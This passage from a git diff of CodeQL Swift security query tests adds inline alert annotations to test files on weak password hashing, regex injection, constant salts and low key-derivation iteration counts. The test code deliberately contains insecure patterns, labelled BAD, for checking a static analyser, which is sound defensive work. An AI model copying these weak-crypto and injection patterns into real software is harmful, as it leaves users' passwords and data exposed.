(not sensitive) - _ = phoneNumberArray.sha1() // BAD - _ = passwdArray.sha1() // BAD + _ = phoneNumberArray.sha1() // BAD // $ Alert[swift/weak-sensitive-data-hashing] + _ = passwdArray.sha1() // BAD // $ Alert[swift/weak-password-hashing] _ = harmlessArray.sha512() // GOOD _ = phoneNumberArray.sha512() // GOOD - _ = passwdArray.sha512() // BAD + _ = passwdArray.sha512() // BAD // $ Alert[swift/weak-password-hashing] _ = harmlessArray.sha2(.sha512) // GOOD _ = phoneNumberArray.sha2(.sha512) // GOOD - _ = passwdArray.sha2(.sha512) // BAD + _ = passwdArray.sha2(.sha512) // BAD // $ Alert[swift/weak-password-hashing] _ = harmlessArray.sha3(.sha512) // GOOD _ = phoneNumberArray.sha3(.sha512) // GOOD - _ = passwdArray.sha3(.sha512) // BAD + _ = passwdArray.sha3(.sha512) // BAD // $ Alert[swift/weak-password-hashing] } func testData(harmlessData: Data, medicalData: Data, passwdData: Data) { _ = harmlessData.md5() // GOOD (not sensitive) - _ = medicalData.md5() // BAD - _ = passwdData.md5() // BAD + _ = medicalData.md5() // BAD // $ Alert[swift/weak-sensitive-data-hashing] + _ = passwdData.md5() // BAD // $ Alert[swift/weak-password-hashing] _ = harmlessData.sha1() // GOOD (not sensitive) - _ = medicalData.sha1() // BAD - _ = passwdData.sha1() // BAD + _ = medicalData.sha1() // BAD // $ Alert[swift/weak-sensitive-data-hashing] + _ = passwdData.sha1() // BAD // $ Alert[swift/weak-password-hashing] _ = harmlessData.sha512() // GOOD _ = medicalData.sha512() // GOOD - _ = passwdData.sha512() // BAD + _ = passwdData.sha512() // BAD // $ Alert[swift/weak-password-hashing] _ = harmlessData.sha2(.sha512) // GOOD _ = medicalData.sha2(.sha512) // GOOD - _ = passwdData.sha2(.sha512) // BAD + _ = passwdData.sha2(.sha512) // BAD // $ Alert[swift/weak-password-hashing] _ = harmlessData.sha3(.sha512) // GOOD _ = medicalData.sha3(.sha512) // GOOD - _ = passwdData.sha3(.sha512) // BAD + _ = passwdData.sha3(.sha512) // BAD // $ Alert[swift/weak-password-hashing] } func testStrings(creditCardNumber: String, passwd: String) { _ = "harmless".md5() // GOOD (not sensitive) - _ = creditCardNumber.md5() // BAD - _ = passwd.md5() // BAD + _ = creditCardNumber.md5() // BAD // $ Alert[swift/weak-sensitive-data-hashing] + _ = passwd.md5() // BAD // $ Alert[swift/weak-password-hashing] _ = "harmless".sha1() // GOOD (not sensitive) - _ = creditCardNumber.sha1() // BAD - _ = passwd.sha1() // BAD + _ = creditCardNumber.sha1() // BAD // $ Alert[swift/weak-sensitive-data-hashing] + _ = passwd.sha1() // BAD // $ Alert[swift/weak-password-hashing] _ = "harmless".sha512() // GOOD _ = creditCardNumber.sha512() // GOOD - _ = passwd.sha512() // BAD + _ = passwd.sha512() // BAD // $ Alert[swift/weak-password-hashing] _ = "harmless".sha2(.sha512) // GOOD _ = creditCardNumber.sha2(.sha512) // GOOD - _ = passwd.sha2(.sha512) // BAD + _ = passwd.sha2(.sha512) // BAD // $ Alert[swift/weak-password-hashing] _ = "harmless".sha3(.sha512) // GOOD _ = creditCardNumber.sha3(.sha512) // GOOD - _ = passwd.sha3(.sha512) // BAD + _ = passwd.sha3(.sha512) // BAD // $ Alert[swift/weak-password-hashing] } diff --git a/swift/ql/test/query-tests/Security/CWE-730/RegexInjection.qlref b/swift/ql/test/query-tests/Security/CWE-730/RegexInjection.qlref index 6171cd820742..edd571a6692b 100644 --- a/swift/ql/test/query-tests/Security/CWE-730/RegexInjection.qlref +++ b/swift/ql/test/query-tests/Security/CWE-730/RegexInjection.qlref @@ -1 +1,2 @@ -queries/Security/CWE-730/RegexInjection.ql +query: queries/Security/CWE-730/RegexInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-730/tests.swift b/swift/ql/test/query-tests/Security/CWE-730/tests.swift index 234821d46aca..cd9b7adba464 100644 --- a/swift/ql/test/query-tests/Security/CWE-730/tests.swift +++ b/swift/ql/test/query-tests/Security/CWE-730/tests.swift @@ -92,59 +92,59 @@ extension String { func regexInjectionTests(cond: Bool, varString: String, myUrl: URL) throws { let constString = ".*" - let taintedString = String(contentsOf: myUrl) // tainted + let taintedString = String(contentsOf: myUrl) // tainted // $ Source // --- Regex --- _ = try Regex(constString).firstMatch(in: varString) _ = try Regex(varString).firstMatch(in: varString) - _ = try Regex(taintedString).firstMatch(in: varString) // BAD + _ = try Regex(taintedString).firstMatch(in: varString) // BAD // $ Alert _ = try Regex("(a|" + constString + ")").firstMatch(in: varString) - _ = try Regex("(a|" + taintedString + ")").firstMatch(in: varString) // BAD + _ = try Regex("(a|" + taintedString + ")").firstMatch(in: varString) // BAD // $ Alert _ = try Regex("(a|\(constString))").firstMatch(in: varString) - _ = try Regex("(a|\(taintedString))").firstMatch(in: varString) // BAD + _ = try Regex("(a|\(taintedString))").firstMatch(in: varString) // BAD // $ Alert _ = try Regex(cond ? constString : constString).firstMatch(in: varString) - _ = try Regex(cond ? taintedString : constString).firstMatch(in: varString) // BAD - _ = try Regex(cond ? constString : taintedString).firstMatch(in: varString) // BAD + _ = try Regex(cond ? taintedString : constString).firstMatch(in: varString) // BAD // $ Alert + _ = try Regex(cond ? constString : taintedString).firstMatch(in: varString) // BAD // $ Alert _ = try (cond ? Regex(constString) : Regex(constString)).firstMatch(in: varString) - _ = try (cond ? Regex(taintedString) : Regex(constString)).firstMatch(in: varString) // BAD - _ = try (cond ? Regex(constString) : Regex(taintedString)).firstMatch(in: varString) // BAD + _ = try (cond ? Regex(taintedString) : Regex(constString)).firstMatch(in: varString) // BAD // $ Alert + _ = try (cond ? Regex(constString) : Regex(taintedString)).firstMatch(in: varString) // BAD // $ Alert // --- RangeReplaceableCollection --- var inputVar = varString inputVar.replace(constString, with: "") - inputVar.replace(taintedString, with: "") // BAD + inputVar.replace(taintedString, with: "") // BAD // $ Alert inputVar.replace(constString, with: taintedString) // --- StringProtocol --- _ = inputVar.replacingOccurrences(of: constString, with: "", options: .regularExpression) - _ = inputVar.replacingOccurrences(of: taintedString, with: "", options: .regularExpression) // BAD + _ = inputVar.replacingOccurrences(of: taintedString, with: "", options: .regularExpression) // BAD // $ Alert // --- NSRegularExpression --- _ = try NSRegularExpression(pattern: constString).firstMatch(in: varString, range: NSMakeRange(0, varString.utf16.count)) - _ = try NSRegularExpression(pattern: taintedString).firstMatch(in: varString, range: NSMakeRange(0, varString.utf16.count)) // BAD + _ = try NSRegularExpression(pattern: taintedString).firstMatch(in: varString, range: NSMakeRange(0, varString.utf16.count)) // BAD // $ Alert // --- NSString --- let nsString = NSString(string: varString) _ = nsString.replacingOccurrences(of: constString, with: "", options: .regularExpression, range: NSMakeRange(0, nsString.length)) - _ = nsString.replacingOccurrences(of: taintedString, with: "", options: .regularExpression, range: NSMakeRange(0, nsString.length)) // BAD + _ = nsString.replacingOccurrences(of: taintedString, with: "", options: .regularExpression, range: NSMakeRange(0, nsString.length)) // BAD // $ Alert // --- from the qhelp --- let remoteInput = taintedString let myRegex = ".*" - _ = try Regex(remoteInput) // BAD + _ = try Regex(remoteInput) // BAD // $ Alert let regexStr = "abc|\(remoteInput)" - _ = try NSRegularExpression(pattern: regexStr) // BAD + _ = try NSRegularExpression(pattern: regexStr) // BAD // $ Alert _ = try Regex(myRegex) @@ -159,35 +159,35 @@ func regexInjectionTests(cond: Bool, varString: String, myUrl: URL) throws { let okSet: Set = ["abc", "def"] if (taintedString == okInput) { - _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] // $ Alert } else { - _ = try Regex(taintedString).firstMatch(in: varString) // BAD + _ = try Regex(taintedString).firstMatch(in: varString) // BAD // $ Alert } if (taintedString != okInput) { - _ = try Regex(taintedString).firstMatch(in: varString) // BAD + _ = try Regex(taintedString).firstMatch(in: varString) // BAD // $ Alert } if (varString == okInput) { - _ = try Regex(taintedString).firstMatch(in: varString) // BAD + _ = try Regex(taintedString).firstMatch(in: varString) // BAD // $ Alert } if (okInputs.contains(taintedString)) { - _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] // $ Alert } if (okInputs.firstIndex(of: taintedString) != nil) { - _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] // $ Alert } if let index = okInputs.firstIndex(of: taintedString) { - _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] // $ Alert } if let index = okInputs.index(of: taintedString) { - _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] // $ Alert } if (okSet.contains(taintedString)) { - _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] + _ = try Regex(taintedString).firstMatch(in: varString) // GOOD (effectively sanitized by the check) [FALSE POSITIVE] // $ Alert } // --- multiple evaluations --- - let re = try Regex(taintedString) // BAD + let re = try Regex(taintedString) // BAD // $ Alert _ = try re.firstMatch(in: varString) // (we only want to flag one location total) _ = try re.firstMatch(in: varString) } diff --git a/swift/ql/test/query-tests/Security/CWE-757/InsecureTLS.qlref b/swift/ql/test/query-tests/Security/CWE-757/InsecureTLS.qlref index af89770b496a..a2ddbdf1d14b 100644 --- a/swift/ql/test/query-tests/Security/CWE-757/InsecureTLS.qlref +++ b/swift/ql/test/query-tests/Security/CWE-757/InsecureTLS.qlref @@ -1 +1 @@ -queries/Security/CWE-757/InsecureTLS.ql +query: queries/Security/CWE-757/InsecureTLS.ql diff --git a/swift/ql/test/query-tests/Security/CWE-760/ConstantSalt.qlref b/swift/ql/test/query-tests/Security/CWE-760/ConstantSalt.qlref index 04aadc2161fc..dd7c483b0af2 100644 --- a/swift/ql/test/query-tests/Security/CWE-760/ConstantSalt.qlref +++ b/swift/ql/test/query-tests/Security/CWE-760/ConstantSalt.qlref @@ -1 +1,2 @@ -queries/Security/CWE-760/ConstantSalt.ql +query: queries/Security/CWE-760/ConstantSalt.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-760/rncryptor.swift b/swift/ql/test/query-tests/Security/CWE-760/rncryptor.swift index 51265b16c457..8d5af54c67fe 100644 --- a/swift/ql/test/query-tests/Security/CWE-760/rncryptor.swift +++ b/swift/ql/test/query-tests/Security/CWE-760/rncryptor.swift @@ -56,27 +56,27 @@ func test(myPassword: String) { let myIV = Data(0) let myRandomSalt1 = Data(getARandomString()) let myRandomSalt2 = Data(getARandomString()) - let myConstantSalt1 = Data("abcdef123456") - let myConstantSalt2 = Data(0) + let myConstantSalt1 = Data("abcdef123456") // $ Source + let myConstantSalt2 = Data(0) // $ Source let _ = myEncryptor.key(forPassword: myPassword, salt: myRandomSalt1, settings: myKeyDerivationSettings) // GOOD - let _ = myEncryptor.key(forPassword: myPassword, salt: myConstantSalt1, settings: myKeyDerivationSettings) // BAD + let _ = myEncryptor.key(forPassword: myPassword, salt: myConstantSalt1, settings: myKeyDerivationSettings) // BAD // $ Alert let _ = myEncryptor.keyForPassword(myPassword, salt: myRandomSalt2, settings: myKeyDerivationSettings) // GOOD - let _ = myEncryptor.keyForPassword(myPassword, salt: myConstantSalt2, settings: myKeyDerivationSettings) // BAD + let _ = myEncryptor.keyForPassword(myPassword, salt: myConstantSalt2, settings: myKeyDerivationSettings) // BAD // $ Alert let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myRandomSalt1, hmacSalt: myRandomSalt2, handler: myHandler) // GOOD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myConstantSalt1, hmacSalt: myRandomSalt2, handler: myHandler) // BAD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myRandomSalt1, hmacSalt: myConstantSalt2, handler: myHandler) // BAD + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myConstantSalt1, hmacSalt: myRandomSalt2, handler: myHandler) // BAD // $ Alert + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myRandomSalt1, hmacSalt: myConstantSalt2, handler: myHandler) // BAD // $ Alert let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myRandomSalt1, HMACSalt: myRandomSalt2, handler: myHandler) // GOOD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myConstantSalt1, HMACSalt: myRandomSalt2, handler: myHandler) // BAD - let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myRandomSalt1, HMACSalt: myConstantSalt2, handler: myHandler) // BAD + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myConstantSalt1, HMACSalt: myRandomSalt2, handler: myHandler) // BAD // $ Alert + let _ = RNEncryptor(settings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myRandomSalt1, HMACSalt: myConstantSalt2, handler: myHandler) // BAD // $ Alert let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myRandomSalt1, hmacSalt: myRandomSalt2) // GOOD - let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myConstantSalt1, hmacSalt: myRandomSalt2) // BAD - let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myRandomSalt1, hmacSalt: myConstantSalt2) // BAD + let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myConstantSalt1, hmacSalt: myRandomSalt2) // BAD // $ Alert + let _ = try? myEncryptor.encryptData(myData, with: kRNCryptorAES256Settings, password: myPassword, iv: myIV, encryptionSalt: myRandomSalt1, hmacSalt: myConstantSalt2) // BAD // $ Alert let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myRandomSalt1, HMACSalt: myRandomSalt2) // GOOD - let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myConstantSalt1, HMACSalt: myRandomSalt2) // BAD - let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myRandomSalt1, HMACSalt: myConstantSalt2) // BAD + let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myConstantSalt1, HMACSalt: myRandomSalt2) // BAD // $ Alert + let _ = try? myEncryptor.encryptData(myData, withSettings: kRNCryptorAES256Settings, password: myPassword, IV: myIV, encryptionSalt: myRandomSalt1, HMACSalt: myConstantSalt2) // BAD // $ Alert // appending constants let _ = myEncryptor.key(forPassword: myPassword, salt: Data(getARandomString() + getARandomString()), settings: myKeyDerivationSettings) // GOOD diff --git a/swift/ql/test/query-tests/Security/CWE-760/test.swift b/swift/ql/test/query-tests/Security/CWE-760/test.swift index 434e2daf6dad..b967c76b0c64 100644 --- a/swift/ql/test/query-tests/Security/CWE-760/test.swift +++ b/swift/ql/test/query-tests/Security/CWE-760/test.swift @@ -26,7 +26,7 @@ final class Scrypt { // Helper functions func getConstantString() -> String { - "this string is constant" + "this string is constant" // $ Source } func getConstantArray() -> Array { @@ -40,7 +40,7 @@ func getRandomArray() -> Array { // --- tests --- func test() { - let constantSalt: Array = [0x2a, 0x3a, 0x80, 0x05, 0xaf, 0x46, 0x58, 0x2d, 0x66, 0x52, 0x10, 0xae, 0x86, 0xd3, 0x8e, 0x8f] + let constantSalt: Array = [0x2a, 0x3a, 0x80, 0x05, 0xaf, 0x46, 0x58, 0x2d, 0x66, 0x52, 0x10, 0xae, 0x86, 0xd3, 0x8e, 0x8f] // $ Source let constantStringSalt = getConstantArray() let randomSalt = getRandomArray() let randomArray = getRandomArray() @@ -48,23 +48,23 @@ func test() { let iterations = 120120 // HKDF test cases - let hkdfb1 = HKDF(password: randomArray, salt: constantSalt, info: randomArray, keyLength: 0, variant: variant) // BAD - let hkdfb2 = HKDF(password: randomArray, salt: constantStringSalt, info: randomArray, keyLength: 0, variant: variant) // BAD + let hkdfb1 = HKDF(password: randomArray, salt: constantSalt, info: randomArray, keyLength: 0, variant: variant) // BAD // $ Alert + let hkdfb2 = HKDF(password: randomArray, salt: constantStringSalt, info: randomArray, keyLength: 0, variant: variant) // BAD // $ Alert let hkdfg1 = HKDF(password: randomArray, salt: randomSalt, info: randomArray, keyLength: 0, variant: variant) // GOOD // PBKDF1 test cases - let pbkdf1b1 = PKCS5.PBKDF1(password: randomArray, salt: constantSalt, iterations: iterations, keyLength: 0) // BAD - let pbkdf1b2 = PKCS5.PBKDF1(password: randomArray, salt: constantStringSalt, iterations: iterations, keyLength: 0) // BAD + let pbkdf1b1 = PKCS5.PBKDF1(password: randomArray, salt: constantSalt, iterations: iterations, keyLength: 0) // BAD // $ Alert + let pbkdf1b2 = PKCS5.PBKDF1(password: randomArray, salt: constantStringSalt, iterations: iterations, keyLength: 0) // BAD // $ Alert let pbkdf1g1 = PKCS5.PBKDF1(password: randomArray, salt: randomSalt, iterations: iterations, keyLength: 0) // GOOD // PBKDF2 test cases - let pbkdf2b1 = PKCS5.PBKDF2(password: randomArray, salt: constantSalt, iterations: iterations, keyLength: 0) // BAD - let pbkdf2b2 = PKCS5.PBKDF2(password: randomArray, salt: constantStringSalt, iterations: iterations, keyLength: 0) // BAD + let pbkdf2b1 = PKCS5.PBKDF2(password: randomArray, salt: constantSalt, iterations: iterations, keyLength: 0) // BAD // $ Alert + let pbkdf2b2 = PKCS5.PBKDF2(password: randomArray, salt: constantStringSalt, iterations: iterations, keyLength: 0) // BAD // $ Alert let pbkdf2g1 = PKCS5.PBKDF2(password: randomArray, salt: randomSalt, iterations: iterations, keyLength: 0) // GOOD // Scrypt test cases - let scryptb1 = Scrypt(password: randomArray, salt: constantSalt, dkLen: 64, N: 16384, r: 8, p: 1) // BAD - let scryptb2 = Scrypt(password: randomArray, salt: constantStringSalt, dkLen: 64, N: 16384, r: 8, p: 1) // BAD + let scryptb1 = Scrypt(password: randomArray, salt: constantSalt, dkLen: 64, N: 16384, r: 8, p: 1) // BAD // $ Alert + let scryptb2 = Scrypt(password: randomArray, salt: constantStringSalt, dkLen: 64, N: 16384, r: 8, p: 1) // BAD // $ Alert let scryptg1 = Scrypt(password: randomArray, salt: randomSalt, dkLen: 64, N: 16384, r: 8, p: 1) // GOOD } diff --git a/swift/ql/test/query-tests/Security/CWE-916/InsufficientHashIterations.qlref b/swift/ql/test/query-tests/Security/CWE-916/InsufficientHashIterations.qlref index 81a6dda0d0f0..66492b8441e5 100644 --- a/swift/ql/test/query-tests/Security/CWE-916/InsufficientHashIterations.qlref +++ b/swift/ql/test/query-tests/Security/CWE-916/InsufficientHashIterations.qlref @@ -1 +1,2 @@ -queries/Security/CWE-916/InsufficientHashIterations.ql +query: queries/Security/CWE-916/InsufficientHashIterations.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-916/test.swift b/swift/ql/test/query-tests/Security/CWE-916/test.swift index 8786d936c1d3..6930adfe1052 100644 --- a/swift/ql/test/query-tests/Security/CWE-916/test.swift +++ b/swift/ql/test/query-tests/Security/CWE-916/test.swift @@ -17,7 +17,7 @@ extension PKCS5 { } // Helper functions -func getLowIterationCount() -> Int { return 99999 } +func getLowIterationCount() -> Int { return 99999 } // $ Source func getEnoughIterationCount() -> Int { return 120120 } @@ -34,15 +34,15 @@ func test() { let enoughIterations = getEnoughIterationCount() // PBKDF1 test cases - let pbkdf1b1 = PKCS5.PBKDF1(password: randomArray, salt: randomArray, iterations: lowIterations, keyLength: 0) // BAD - let pbkdf1b2 = PKCS5.PBKDF1(password: randomArray, salt: randomArray, iterations: 80000, keyLength: 0) // BAD + let pbkdf1b1 = PKCS5.PBKDF1(password: randomArray, salt: randomArray, iterations: lowIterations, keyLength: 0) // BAD // $ Alert + let pbkdf1b2 = PKCS5.PBKDF1(password: randomArray, salt: randomArray, iterations: 80000, keyLength: 0) // BAD // $ Alert let pbkdf1g1 = PKCS5.PBKDF1(password: randomArray, salt: randomArray, iterations: enoughIterations, keyLength: 0) // GOOD let pbkdf1g2 = PKCS5.PBKDF1(password: randomArray, salt: randomArray, iterations: 120120, keyLength: 0) // GOOD // PBKDF2 test cases - let pbkdf2b1 = PKCS5.PBKDF2(password: randomArray, salt: randomArray, iterations: lowIterations, keyLength: 0) // BAD - let pbkdf2b2 = PKCS5.PBKDF2(password: randomArray, salt: randomArray, iterations: 80000, keyLength: 0) // BAD + let pbkdf2b1 = PKCS5.PBKDF2(password: randomArray, salt: randomArray, iterations: lowIterations, keyLength: 0) // BAD // $ Alert + let pbkdf2b2 = PKCS5.PBKDF2(password: randomArray, salt: randomArray, iterations: 80000, keyLength: 0) // BAD // $ Alert let pbkdf2g1 = PKCS5.PBKDF2(password: randomArray, salt: randomArray, iterations: enoughIterations, keyLength: 0) // GOOD let pbkdf2g2 = PKCS5.PBKDF2(password: randomArray, salt: randomArray, iterations: 120120, keyLength: 0) // GOOD }